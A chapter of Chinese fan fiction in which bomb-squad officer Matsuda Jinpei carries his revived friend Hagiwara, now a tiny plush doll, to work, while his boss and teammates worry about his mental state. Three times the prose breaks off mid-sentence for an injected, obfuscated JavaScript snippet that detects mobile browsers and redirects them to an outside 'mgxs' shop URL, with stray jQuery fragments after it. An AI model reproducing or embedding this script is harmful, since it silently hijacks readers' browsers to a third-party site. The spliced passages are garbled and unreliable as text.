回想起那天发生的一切,也清楚自己最后一通电话会给他带来多大的伤害。 看小阵平眼底那么重的黑眼圈,神色那么疲倦,绝对绝对没休息好——小阵平这些日子肯定没有好好照顾自己。 而这一切都是因为他,光是这样想想萩原研二感觉自己的心都要痛死了。他怎么这么过分,让小阵平这么难过。 萩原研二在心里保证,绝对要努力复活,然后好好补偿小阵平! (绝对不是因为可以光明正大地贴贴小阵平哦。) 不清楚萩原因里想法的松田阵平,还沉浸在幼驯染回归的氛围中,眉眼慢慢缓和下来,唇角向上扬起一道浅浅的弧度。 他低声说:“算了,混蛋。” “回来就好。” “嗯!小阵平。”萩原研二张开双臂,卖力地抱住了松田的两根手指,高声道:“我回来了哦!” “不过萩,你这幅样子真的很好笑诶。” 察觉到萩原小玩偶那么卖力张开双臂,却只能勉强抱住他两根手指,松田阵平直接就乐出了声。 “小阵平,我说真的…”萩原研二半月眼,眼睁睁盯着面前的卷发青年越笑越大声,越笑越放肆。到了最后居然过分地笑出了眼泪,他幽幽道:“你真的有点破坏氛围了哦。” “真是的,这个时候不应该说一句——欢迎小阵平最最最亲的幼驯染研二酱回来吗~” “哈。”用手指擦去眼角蔓出来的泪花,听到这句话松田阵平立刻瞪了萩原一眼,恶狠狠威胁:“欢迎回来没有,不过沙包大的拳头还是有的,你要不要。” “我告诉你,萩。那次的事一直到现在,我都想狠狠揍你一顿哦。” 这可不是开玩笑。 他曾无数次想过萩原研二如果能活过来的话,如果能重新站到他面前的话,他一定会先揍萩原一拳,这家伙真是随意所欲惯了是吗。 为什么不穿防爆服,为什么不抓紧时间把那玩意肢解了。 即使他知道穿了防爆服在那样近距离的爆炸下也没用,即使他知道就算拆弹了,那种情况下犯人也说不准什么时候就会引爆炸弹。 只是自从幼驯染牺牲后,他心底积压了太多未能说出口的话。关于那件事他总会反复设想过无数个“万一”和“如果有可能”,那些被强行按捺的情绪总会不经意浮现。 因为挚友的离去,从来不是一件能够习惯的事。 当真正见到萩原的这一刻,比任何愤怒或质问更先涌上心头的,是一个拥抱的冲动,他只想给他一个拥抱。 见到逝去的友人, 他想比拳头先到达的,应该是个失而复得地拥抱吧。 松田阵平目光在萩原小小的软乎乎的棉花身体上来回打量着,凫青色的眼睛眯了眯眼,脑子中理智地分析,这么小小一团,一拳下去萩肯定会承受不住吧。 棉花团子会死吗。 哈,不知道呢。 果然还是太松懈了这家伙。 现在不打, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185128|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但等萩真正复活了,他一定要补上一拳。 还沉浸在感动情绪中,和因为复活条件周围隐隐冒出粉红泡泡的萩原:? hagi我突然有点冷是怎么回事? 小阵平!快把你危险的表情收一收! * 墙上的钟显示时间已比平常晚了近半小时。松田阵平站在玄关,扫了一眼手机屏幕,本想干脆请个假来梳理一下目前的情况,但最近又开始忙起来了,没人可以换班。 再者负责的警官先生非必要情况不会请假。 去上班的话,这家伙该怎么安置呢。 除了因为能量补充的方式,松田也不放心让刚复活的萩原小玩偶一个人待在家里。他在室内环顾,试图找寻有没有适合装载萩原的物品,打量了一圈发现还不如自己的口袋里方便。 “萩,口袋里可以吗?”松田阵平问。 萩原眨了眨眼,很快反应过来,伸出棉花手手拽了拽松田的袖口,“没问题哦,小阵平。” 松田阵平拉开外套口袋,萩原研二利落地跳进去,口袋和他目前的身高差不多,站直身体后还能探出个头观察外面的环境,“哇,挺合适的嘛!” 半长发小努努半个身子都趴在口袋边,朝外伸出手摆了摆,“Matsuda起步中,hagi驾驶员申请出发!” “喂喂,你真是够了。”总感觉这家伙自从回来之后,整个人都变得幼稚了不少,难道这是超能力的副作用吗。 他快速检查了一下随身物品,确定没遗落东西,走到楼道等电梯,伸手虚扶了一下口袋才迈步走进电梯。 等电梯到达停车场,松田阵平略过一排排汽车,径直走向停在角落的一辆黑色重型机车,车身线条流畅凌厉,看得出来主人对其的重视,保养得也很好。 这是两人之前很喜欢还念叨了好久的牌子,性能和设计都是一流水准,萩原还说过等他存够钱绝对要买一台和马自达。 果然萩原研二一看到这辆车就激动起来,在口袋里跳来跳去,如果不是条件不允许,他绝对要亲手摸摸它。 兴奋的声音从口袋中穿出来,声音里充满了激动和喜爱,“小阵平,你居然买了这款——” “是隼gsx1300r!”萩原研二目不转睛盯着这辆车,眼神亮得惊人,几乎是立刻就辨认出这辆车的款式,“小阵平还进行改装了吗,hagi真的好想驾驶看看啊。” 松田阵平用一根手指把萩原按回口袋里,只让脑袋露在外面。然后戴好头盔跨上车,发动引擎,声音透过头盔显得有些闷,“想开的话,就等你真正复活吧。” “别让我等太久,萩。” “嗯,那就要麻烦小阵平多抱抱hagi啦。”口袋里传来一声含糊但清晰的回应。 “……”这话好奇怪。 都怪用词其他的超能力,松田想,迟早有一天要把他拆了。 机车开入主路,所幸早高峰刚开始,车流不算太密集,没有出现堵车的情况,清晨的风迎面吹来,带着城市苏醒的味道。 “别探头,萩。”松田阵平目视前方,察觉到口袋里悉悉索索的动静,低声警告了一句。 口袋传来一道拉长音的“好——hagi遵命。” 5. 觉醒超能力的第五天 发动机的轰鸣声慢慢停止,松田阵平把头盔取下来放好。看了一眼手表,时间还剩下五分钟,足够他赶到办公位了。 拔下钥匙,松田阵平边走边低头看了一眼自己的口袋,萩原研二安静地坐在里面,两只手撑着下巴,正仰头看着他。 晨风时不时掠过,也吹动他额前的小片刘海,惬意地晃悠。 “萩,为什么一直看着我,”卷发青年疑惑,他问,“会觉得无聊吗?” 毕竟萩原目前的情况,能交流的好像只有他。 事发突然他根本没来得及跟萩原父母和千速姐说起这件事。而要上班的他也不太可能一直和萩说话,换位思考,松田觉得萩原产生这种情绪十分正常。 接下来要忙的事情还有很多,总之得先想个办法让萩不至于感到无聊。拆弹警官以权谋私,大胆思考不如做几个没有危险性的小玩意给萩拆着玩好了。 小玩偶发现松田阵平已经迈进警视厅大门了,整个人利落地缩回了口袋,只留下轻飘飘的一句话正好被他捉到,“只是一点点的难过啦。” 萩原研二诚实坦白,“有种不过是睡了一觉,睡醒后发现小伙伴一下——变成了超级成熟可靠的大人呢。”而这份变化的原因归根结底是因为他… 松田阵平能察觉到萩原话中隐藏的含义——那是因为自己率先离去,而产生的歉意和难过。他微不可察地顿了一下,又很快回过神,他低声说,“人总是会变的。” 他亲眼目睹了那场爆|炸,看见了吞噬幼驯染的炽烈火光和爆|炸产生的震天巨响。那一刻带来的冲击和无能为力感,直到现在依旧清晰,幼驯染离去后随之而来的是漫长的空洞。 “但那又怎么样,我还是我。只会猛踩油门向前冲。” 所以不需要愧疚,萩。 不是因为你的离开才导致了变化。 也不要因此难过。 就像在警校时期的他毅然决然加入爆|炸物处理班,就像萩原牺牲后他也不放弃要找到凶手一样。 因为他就是这样的人。 固执,认准了一条路就坚决冲到底,就算撞了南墙他也只会想办法把墙拆了。 所有的结果无论是好是坏,带来的是痛苦还是愉悦,一切都是他自己做出的决定。 他坦然面对所有,也愿意背负记忆前行。 萩原研二吸了吸鼻子,闷闷地“嗯”了一声。 已经成长为超级靠谱的警官先生听到这声抽泣声,挑了挑眉,嘲笑道,“萩,你不会是被我感动到哭鼻子了吧?” “……” “小阵平!我要收回刚刚的感动了。” 松田阵平拆穿发小,“哈,果然是哭了吧。” * 松田阵平几乎是踩着最后一秒走进办公室,打完卡后神色如常地走向自己的办公位。暂时没有需要出外勤的时候,可以先处理下之前堆积的报告和文书工。 他拉开椅子坐下,目光在桌子上四处打量,试图找到一个合理的萩原安置地。主要是一直放在口袋里,万一不小心被碰到或压到,他可能就要得到一个扁扁的萩了。 扁扁的萩, 那是什么—— 萩饼吗,噗。 松田阵平冷不丁在心里想了个地狱笑话,目光在桌下的工具箱停留片刻。空间倒是足够大,但里面全是他用惯了的各种拆弹工具,明显不太合适。 桌上的纸巾盒太小了,萩原在里面可能转个身都难。 他的视线落在右手边的抽屉上,内部空间足够,打开一条小缝能让萩原看到外面,通风的同时又有良好的隐蔽性。 就决定是这里了,松田拉开抽屉,把里面的大部分东西放到了其他地方,成功清理出一大块空地。然后将手放进口袋,用指尖轻轻戳了戳萩原。 小玩偶会意,顺着手指爬到松田阵平的掌心坐好。 卷发青年没有一点要遮掩的意思,直接握着玩偶放进了抽屉里。萩原在里面站好,紫色眼睛眨了眨,比了个ok的手势表示没问题。 其实说到底,就算萩的存在被其他同事发现了也没关系。毕竟谁也没有规定不能带玩偶来上班,这是他的幸运物怎么了。 刚好还能让萩光明正大的出现在他们面前,前提是萩不能乱动,其他人认为他只是个普通的玩偶。 就在松田刚关上抽屉时,身后传来一声略带犹豫的声音。 “松田队长。” 松田阵平转过头,不解地看向来人。叫住他的人是昨天问他要不要去聚会最后被拒绝的那个队员。 叫什么来着? “有什么事?”想不起来的松田阵平直接问。 栗色短发的青年手里拿着一个包装简洁的小礼盒,表情有些局促,目光微微下垂,不太敢直视他。 “松田队长,关于昨晚的事…我很抱歉。”青年的声音透露出几分紧张。他也是昨天才知道,松田队长因为要好的幼驯染牺牲后,就再没参加过聚会或联谊活动。 而他居然还大大咧咧的邀请松田队长去参加聚会。 一想到这件事,乌间祈夏愧疚到晚上睡不着觉了,为了表达自己的歉意,他专门一大清早起来去买了赔罪礼物。 “这是我准备的一点茶包,不是什么贵重东西,”他头垂得更低了,将礼盒递了过去,“希望您能原谅我。” “?” 看着莫名鞠躬道歉的人,松田一脸茫然地想了半天——昨天他有做什么吗。 他皱眉思索了一会,反应过来后沉默了。 “……” 所以,他真的很好奇,他在这群队员心里到底是什么形象。 是一个因为挚友殉职就变得不近人情,而新人出于好意的邀请被拒后,还要特意买礼物赔罪的可怕队长吗? 松田阵平默默盯着眼前这个满脸写着忐忑不安,手里还捧着道歉礼物的队员,心里一时间已经弄不明白这些人脑子里到底在想什么了。 危险地眯了眯眼睛,他毫不客气地开口道,“哈?” “说实在的,有功夫琢磨这些乱七八糟的,不如去把你们那惨不忍睹的模型图画标准点。” “我记得你上一次的训练里,有个步骤犹豫了五秒吧。在实战里这五秒足够你被炸飞三次了。” 他的视线落在队员脸上,“与其浪费时间想怎么讨好上司和前辈,不如老老实实的多拆几个模型训练。” 乌间祈夏被这直白又带了点训斥意味的话砸得一懵,手里的小礼盒拿着也不是,放下也不是,整个人僵在了原地。 他慌乱抬眸才注意到,松田队长今天居然没有戴那副标志性的墨镜。而没有了镜片的遮挡,那双锐利的凫青色眸子完全显露,配上那身深色西装,带来的压迫感简直翻倍。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185129|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是、是!我明白了,松田队长!” 直到那匆忙的脚步声远去,松田阵平才转回办公位,揉了揉眉心。 他真的搞不明白这群记不住重点的新人,与其把精力浪费在揣测上司心情和人际讨好上,不如多拆几个种类的炸弹模型实在。 在生死一线的拆弹现场内,能保下性命的办法只有自身过硬的技术。如果连这点都看不明白的话,还是趁早转部门吧,总好过在牺牲名单上看到他们的名字。 察觉到抽屉里传来悉悉索索的动静,松田阵平垂下眸看了过去,对上萩原研二投来安抚的眼神。 他这时候总会想,如果是萩在这里的话,一定能做的更好吧。肯定会用更委婉、更能接受的方式开导新人。 这种事他还真做不来。 萩原研二挥了挥手,试图吸引松田的注意。警官先生放下报告,装作整理文件,把抽屉拉开了一些。 “?” 小玩偶仰着小脸,伸出小小的手指,指了指松田摊开在桌上一个用来记录要点的笔记本。 松田阵平明白萩原是有话想和他说,动作自然地从那本笔记本上撕下小半张空白纸,纸条不大,对于现在的萩原来说正合适。 至于笔,普通的签字笔对现在的萩原来说还是太长了。他拉开笔筒在里面翻找了一下,很快找到一支铅笔。将铅笔分成两半,最短的一边削好后递给萩原。 松田阵平耐心地等了一会,铅笔摩擦纸面的沙沙声持续了一小会儿,又停了下来。接着一张纸条从抽屉的缝隙里被推了出来。 纸条上的字因为工具和体型的限制,每个字都显得大小不一,有些笔画忽重忽轻、深浅不一,依稀能辨认出是萩原的字迹,大概是刚好到幼稚园的水准吧。 (萩原:“……”) 上面只写了一行字: 【小阵平,刚刚很帅哦。】 在句子的末尾,还用铅笔画上了一个简单的笑脸符号:^_^。 松田阵平的视线在那个笑脸符号上停留了两秒。 还真是。 能在这种时候说出这种话的,大概也只有萩原这个家伙了。 想了想,他在纸条上也写下了两句话,他问,【萩,需要些什么吗,我等会做个小型模型给你拆拆?】 【对了,那张纸上说你的思维感知个常人一样,那你需要吃东西吗。】 萩原研二借着外面的光看清了这段内容,也低头陷入了沉思之中。 他不光能看到,手中的触觉也无比真实,至于嗅觉更不是问题,现在都能闻到办公室里淡淡的咖啡味,还有小阵平把他放进口袋时,身上那熟悉的洗涤剂味。 但再怎么看,这个身体…都是个棉花娃娃啊。娃娃身体可以吃东西吗,吃下去的东西会去哪里。 萩原研二略微想象了一下,嘴角就忍不住抽了抽,他决定先放弃,剩下的等饿了再说。 【模型可以有,hagi很想拆!吃的…暂时不用。根据释义书的指示——小阵平愿意给hagi多抱一会,会更管用哦^_^。】 松田阵平看完,面无表情地将纸条夹进书里。 模型等有空就去找合适的零件做一个好了,至于最后一句话,他缓缓移开视线,重新投入报告里。 幼驯染搂搂抱抱虽然很正常,但是——嗯,还是先忽略好了。 6. 觉醒超能力的第六天 如果可以,松田阵平想把之前的话收回,说什么就算被发现了也无所谓,果然他还是太高看自己了。 * 今天是个罕见不需要出警的一天,没有炸弹,也没了需要抉择的红线和争分夺秒的倒计时,连办公室里都显得无比寻常。 午休时间刚过,办公室里暖烘烘的,弥漫着低压压的倦意。空调发出轻微的嗡鸣声,某位前辈从小憩中醒来伸了个懒腰,另一位前辈在整理文件,都在忙各自的事。 松田阵平坐在自己的位置上,桌上放着一份之前案件中的爆|炸物分析报告。但他的注意力完全不在这份资料上,右手拿着笔机械般地转着圈,视线不自觉地落在抽屉上。 准确地说,是抽屉里的萩原研二。 青年将抽屉拉开一条缝,足够看清里面的情况,又不至于让旁人察觉。 萩原研二照常躲在里面,和之前堆了许多杂物的情况不一样,里面多了一个简易的小沙发,用松田贡献出来的备用手帕做的,虽然简陋,刚好适合十厘米高的小玩偶休息。 他正坐在那个沙发上,两只小手捧着松田午休时特意去便利店买的一小块面包。他伸手掰下来一点,小口啃着,随着食物一口接着一口消失,忽然抬手拍了拍胸口,像是被噎到了。 可爱的小玩偶擦去眼角蔓延的泪花,举起一只手,“报告松田队长,hagi想要申请饮料——如果有啤酒就更好了。” “申请驳回,上班时间禁止饮酒。”松田阵平嘴角微不可察地笑了一下,压低声音,“饮料我现在可没时间去买,只有水了。” “不过你真想喝的话,下班后我们可以去买点啤酒回去喝。” “那就拜托小阵平啦。”抽屉里的萩原抬起头,紫色的眼睛眨了眨,声音里带着一丝笑意。 “等我。”松田阵平说,然后拉开椅子起身。 他穿过走廊,推开茶水间的门。刚走进去,就看到他的领导上司高桥警官正背对着门口在热水机前接水。 随着热水灌入杯中,养生茶的香味也慢慢浮出。松田阵平一手插兜站在旁边等着,打了个招呼,“哟,高桥警官。” 听到熟悉声音的高桥警官动作顿了一下,他转过身,手里还端着刚泡好的茶,茶水的热气在空气中袅袅升起。 他盯着松田神色莫名复杂,回想之前听到的一些消息,欲言又止像是想说些什么,最后只挤出干巴巴的一句,“松田啊。” 这幅表情让松田阵平心里忽然有了种不好的预感。 “高桥警官又在泡茶了啊,”卷发青年拿起自己的杯子,目光在他头顶来回打量,转移话题,“其实只要少操点心,你也不至于这么早就秃了吧。” “给我好好尊重前辈啊你。”高桥警官端着茶杯的手停在了半空,嘴角微微抽动了一下。 茶杯僵在手中,喝也不是不喝也不是。最后他叹了口气,把杯子放在了一旁的台子上。 “臭小子,还不都是因为你们太不让人省心了。”他小声骂了一句,声音不大,但茶水间就这么点地方,松田阵平在一旁听得清清楚楚。 这老头就是特意骂给他听的吧。 转过身靠在台子边缘的高桥警官双手抱胸,他已经四十多岁,鬓角有些发白,眼神却如年轻时一样锐利。他盯着松田看了好一会儿,“咳咳,松田啊,最近我听到一些关于你的事。” “什么?”松田阵平放下杯子准备接水,拧开开关,凉水缓缓流进杯子里。 “就是…你是不是又想起萩原那件事了,你最近看起来好像有点着急。”高桥警官放缓了语气,给出了自己的建议,“我认识一个很靠谱的心理医生…” “不需要,我很好。”松田阵平打断他。 “自从萩原牺牲后,你的状态我不是没有看到。我是你前辈,是你上司,也是邀请你和萩原进爆处组的人,不需要隐瞒我什么。”高桥警官声音沉痛,带来浓浓的疲惫。 “你以为我不知道么,是谁每天下班还要跑到搜查课去查案宗,甚至直接睡在警视厅。” 松田阵平松了一口气,还好不是萩复活的事。 他挑挑眉,“也没有哪条规定在职警察不能查看资料吧,再说了这不是你允许的吗。” “是我允许的,但我们工作的危险性谁不知道,精力不集中,在拆弹现场会发生什么意外你不清楚吗?”高桥警官冷声道,“你最近特别着急,到底是为什么。” “如果萩原知道你为了给他报仇,连自己的身体都不顾了,他会觉得高兴吗。” 整个身体轻轻靠在桌上,手紧握住杯子,指尖有些发白。松田阵平耷拉着眉眼,萩原研二还真不知道他几乎睡在警视厅这件事,他不会主动去和萩原说,尽管他知道瞒不了多久。 但是,松田阵平看向茶水间开着一条缝的窗户,感受到从缝隙中吹来的风,带着冬天的寒意。 “这是我和他的约定。”他说,声音无比冷静。 即使萩原研二已经回来了,可要给萩报仇的承诺还在。不如说即使没有那个承诺,他照样会找出那个犯人给萩报仇。 也不可能因为萩复活了,那个害死萩原的炸弹犯就不需要付出代价了,哪有那么美的事。 “松田——” “高桥警官,如果我说萩还活着呢。”松田阵平打断他,视线对上自家上司,眸中充斥着真挚。 “……”高桥警官脸上下一秒露出震惊,且混杂着困惑的神色。 好吧——松田阵平也明白他刚刚说的那句话,在正常人听来,大概和疯话没什么区别。 虽然是事实,对普通人来说还是太天荒夜谈了。就连他自己第一眼见到萩原的第一反应也是不相信,更别说这种理由了。 “有没有可能萩只是明面上牺牲了,其实是因为秘密任务不得不隐藏起来。”松田阵平额间跳得厉害,不抱希望地说。 萩原的复活确实是个奇迹,随着喜悦过后,松田也后知后觉的意识到,萩原研二这个人在明面上已经牺牲了。 那么萩原之后要怎么回来,他要用什么身份回来。 隐姓埋名吗,松田阵平可不愿意让萩原一辈子顶着别人的身份和名字生活。但是那场爆|炸是真实发生的,萩原也在众人的眼前上的那栋楼。 这份明确恰恰成为了萩原研二回归的阻碍。 被震惊的高桥警官嘴巴张了张,又合上。 等等,这就是你说的没事吗!!! 这难道不是更严重了吗。 他几乎要昏过去了,他真傻,真的。 他单知道松田为了给萩原报仇不顾及自身,哪能想到他爆物处双子星之一,因为挚友的牺牲已经严重到精神错乱了!!! 目睹了那场惨烈的爆炸后,还在不断给自己洗脑挚友——还活着,现在都编出了一个故事。 心理医生呢,心理医生我们需要你! “我没想到,你已经严重到这个地步了。”高桥警官痛苦地捂住脸颊,声音苦涩道,“你居然给自己洗脑,都编出了一个萩原还活着的故事。” “你不能继续骗自己了,松田。” “你千万别耽误下去,你必须去看医生了。”高桥警官拿出手机,看那架势他已经开始联系医生准备挂号了,“我给你批几天假,你不能逞强了。” 松田阵平:“……” 良久,他憋出一句:“那场事故其他人都没事,怎么就不能是计划好的呢。” 高桥警官倒吸一口凉气,残酷无情打破松田的幻想,“那是因为其他队员还在疏散人群没有上去,谁也没料到犯人会按下…” “好了,高桥。”松田阵平叹了口气,揉了揉太阳穴,他不想再听下去。 要面子的爆物处升起的新星,面无表情地阻止了上司又一次打算联系心理医生的举动,他并不想因为这种事在警视厅出名。 也不想让别人一提起他的名字第一反应是——原来他就是那个思念挚友导致精神错乱到——被上司强制送去看心理医生的松田阵平警官啊。 他就不该说这些话。 松田阵平狠狠闭上了双眼,他现在真的很需要一副墨镜来掩盖表情。 下班就去买一副吧。 “我先回去了,而且我的精神很好,不需要请假和看医生。”松田阵平说完,不等高桥回答,转身走出了茶水间。 高桥警官站在原地,他端起茶杯想喝口茶压压惊,下一秒就被烫了个正着。 “烫烫烫…” “不让人省心的臭小子,怪不得鬼冢那家伙知道我把这两小子要过来的时候,是那副同情的表情了。”他又骂了一句。 看着窗外,不由得又回想起一年前,他第一次在警校里注意到松田和萩原时的情景。 这两人一个赛一个拆卸能力强。 松田看起来一点就炸,脾气不太好的样子,但拆东西时的手稳得可怕。萩原虽然爱笑,总给人一种不太正经的感觉,好像跟谁都能聊上几句,但一拿起工具,立刻像变了个人的专注。 那时候高桥就知道,这两个小子会是爆处组的未来。他花了大力气才把他们抢过来,把人留在了自己手下。 他以为能看到双子星成长,看到他们成为真正的王牌,直到继承他的位置,一直干到退休。 可惜随着双子星之一的牺牲,好像都变了。松田只顾着给幼驯染报仇,总像憋着一层发泄不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185130|197000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的火气。 尤其是最近几天,一想到松田那臭小子… 高桥警官闭上眼,揉了揉眉心。 头疼,真的头疼。 但他能怎么办,松田那小子倔得像头牛,认定的事十匹马都拉不回来,他说要报仇就拼了命一定要做到。 本来以为只要找到那件事的犯人就好了,结果到现在犯人的线索没找到,反倒是松田这臭小子越来越严重,还沉浸在自己的幻想里。 诶哟,他仅剩的星星独苗苗啊。 正当高桥痛心疾首的时候,森川阳介将头探进来,看到表情痛苦的领导兼同期,不明所以,“高桥你在这里啊,隔壁目暮警官找你。” “欸欸,我马上来。”高桥警官应了一声,整理了一下衣领,恢复了平时冷静的模样。 他拿着茶杯走出茶水间,似乎想起了什么,又转头对森川说了一句,“对了,通知他们一下三点开会。” “好。” 他路过办公室时,脚步顿了一下,透过玻璃看到了松田阵平低着头,手放在抽屉里不知道在干什么。 “这小子真的没问题吗?” * 萩原研二终于等来了松田阵平带来的救命水,老实说,他真的没想到松田去一趟居然这么久。 “小阵平,你是被茶水间的怪兽吞没了吗。”萩原捂住脖子,装作自己要窒息的模样,“一定是历经千辛万苦才回来的吧。” “咳咳,没错。”松田阵平毫不客气地应了下来,刚刚茶水间发生的事怎么不能算困难重重,他差点被高桥拖去看心理医生了啊。 他简单解释一句,“在里面刚好碰到高桥了,聊了几句。” “好哦,我也好久没见到他了。”萩原研二了然,又接过松田递过来的瓶盖,一口气喝光了里面的水,长吁一口气,“终于活过来了。” “他还是老样子,不过还是有点变化的。”松田阵平垂眸又往瓶盖倒了一点水,想到刚刚的事,不免吐槽,“比如头发更秃了——比如年纪大了就是容易瞎想。” “噗,虽然这些时间我不在,但高桥警官秃头有很大一部分原因是因为你吧。”萩原研二弯了弯眼眸,回想起他和松田之前一起在爆物处的时候,高桥警官是怎么被他们气的跳脚的。 松田阵平啧了一声,“切。” “不过今天还真是平平无常的一天啊。”把手里的瓶盖放回卷发警官手上,小玩偶整个人懒懒地仰躺回简易沙发上,“不需要出警,也不需要巡查,真希望每天都这么轻松。” 松田阵平的手指在桌面上轻轻敲了敲,他目光重新放在报告上,嘴唇微动轻声说,“确实,还是少点案子吧。” “没错没错。”萩原研二煞有其事地点点头,“少一点炸弹小阵平和队员们的安全都能有所保障。” “啧,那种程度的炸弹我只需要三分钟。”松田阵平一目三行地把报告上的结构记下来,又拿出笔统计了几个重点,准备找几个相同类型的炸弹模型给手底下的队员练练手。 “小阵平还真是成为了最靠谱的队长了耶。”萩原研二夸了一句,用手摸了摸吃东西导致肚子圆滚滚的,满脸惊奇,“不过我居然真的可以吃东西,很神奇诶。” 又摸了摸自己刚刚喝水的嘴,略带些苦恼道,“就是喝了水之后感觉身体有点沉重。” 靠谱的队长视线从报告上挪开,快速瞥了一眼抽屉里躺着的萩原,嘴唇动了动,“正常,我在网上搜了一下,努努好像就是棉花娃娃的一种。” “棉花遇水变沉不是很正常吗。” 抽屉里的玩偶动了动,侧过身面朝松田,促狭地笑了笑,“总觉得棉花娃娃这种词从小阵平嘴里说出来,好奇怪诶。” “哈,哪里奇怪了。”松田阵平别过脑袋,小声嘀咕了一句。 萩原研二的笑意更浓了,语气里充满了调笑的意味,“因为小阵平长了一张超帅的脸,嘴里也只会说什么铜线啊,机关装置这种酷酷的词吧。” 松田阵平不爽的在抽屉里弹了一下萩原的额头,明明没用多少力,但萩原研二还是捂住头“嗷”了一声,好像很痛得样子。 “混蛋,别装了。” “可是本来很痛嘛——” “啊,那真是抱歉了。” “一点都不真诚嘛,小阵平。看表情完全在说下次我还敢——” * “喂喂,你看到了吗。” 小林陆表情凝重,转头对一旁的村上秀询问道。 村上秀同样沉重地点头,“我看到了。而且松田队长今天特别奇怪,一直对着抽屉小声说话。” “那样子,好像抽屉里有什么东西一样。” 7. 觉醒超能力的第七天 小林陆和村上秀都是松田小队的一员,对于这位资历没有他们深,实力却远远领先他们一大截的松田阵平无比崇拜。 松田队长今天的异常太过明显,只要是稍微关注的人都能发现队长的不对劲。 正当他们已经计划着——等会开完会要不要偷偷询问下松田队长需不需要帮助时,两人小组旁自然而然的融入一位栗发青年。 “其实中午在便利店的时候,我有看到松田队长。”乌间祈夏默默举手,偷偷向他们两发送入群申请,并试图加入唯松love~☆群。 虽然今早刚被松田阵平骂了,但他也是松田队长的粉丝啊(震声)。 而带来重要线索的乌间,理所当然的得到了另外两人的热烈欢迎,小林陆朝他挤眉弄眼,“乌间君,你那里什么内幕消息吗。” “就是我进便利店的时候,发现松田队长手里捧着一个娃娃,而且在和他说话,还问他要什么牌子的面包。”乌间祈夏用气音说道,努力回想中午看到的一幕。 “不过我进去后,松田队长很快把娃娃收起来了。” 小林陆瞪大了双眼,“欸?!” 村上秀同样惊呼出声,环顾四周——具体是松田阵平的方向,确定没引起注意后,又很快压低声音,“你没看错,确定是娃娃?” “没错,松田队长看起来很喜欢那个娃娃,还特意给他穿了衣服呢。”乌间祈夏回忆道,将那个玩偶的样子描述出来。 “那个娃娃很可爱,三七分的半长发,头发是黑色,紫罗兰色的眼睛,给人的感觉特别真实、灵活。” 小林陆整个身体后仰,“等等,这个描述好熟悉……” 村上秀倒吸一口凉气,“再等等,我怎么好像想到了一个人……” 村上秀猛地摇摇头,迅速掏出手机,翻到一年前和交通部联谊时拍下的照片。他指向照片中闪闪发光揽着松田肩膀的萩原身上,他催促地询问,“你看看是不是他。” 乌间祈夏凑过去,对比了一下中午看到的那个娃娃显露出来的特征,然后肯定地点头,笃定道,“没错就是他,一模一样。” “只不过那个娃娃更像是Q版形态,不过他是谁呀……看起来和松田队长关系真好。” “这就是松田队长不幸牺牲的幼驯染——萩原研二。他和松田曾经都是小队队长。”村上秀面色复杂地收回手机,不可置信地喃喃自语,“所以松田队长这是,特意定制了一个萩原队长的玩偶陪在身边吗。” “说起来,”一直没说话的小林陆开口,说出的下一句话堪称王炸,“我前面去交资料的时候,确实看到队长抽屉里有什么东西,我还以为我看错了。” 他又回头看向栗发青年,问道,“他是不是穿了一套蓝色西装?” “没错。”乌间祈夏肯定了他的话。 “那看来没错了。”小林陆看了一眼松田阵平的办公位,松田像在抽屉里找什么东西似的,大半个身体趴了下去。 “我们得过去看看,如果抽屉里真的有和萩原队长一模一样的玩偶,那事情就严重了。” “欸,这样不好吧,而且松田队长会生气的。”村上秀面带犹豫,偷窥抽屉什么的,这样做已经是侵|犯隐私了啊。会被警察抓进去的,等等我们就是警察? 以松田脾气事后绝对会揍他们的,就算不揍,他们以后也讨不了好果子吃啊。 “村上你不懂问题的严重性。”小林陆沉重道,“之前有位前辈也是同样的情况,他的妻子在一次任务中去世。那位前辈发誓要找到真凶,找寻线索导致精神不济,拆弹时一时的松懈导致…” “我觉得以松田队长的性格,不会允许这样的情况发生。”乌间祈夏咬了咬嘴唇,那位前辈的经历让他感同生受,但他也相信松田阵平在工作上的态度。 “这不是不允许就一定不会发生的事。”小林陆按了按额角,看向两位同事,他认真道,“我必须得去看看,明白情况后再决定要不要告诉高桥警官。” “既然一定要看看才放心的话,那我陪你一起去。”村上秀拍了拍小林陆的肩膀,一起站了出来。 他又看向乌间祈夏,安慰道,“你早上刚被训过,还是去多拆几个炸弹模型吧。我们两毕竟是前辈,松田……额,也不会……” 村上秀说不下去了,欲哭无泪。如果被松田发现,就算是前辈也会被照训无误的啊。 乌间祈夏回想起上午被松田队长训斥的场景,心有余悸地点点头,往自己的位置走去。 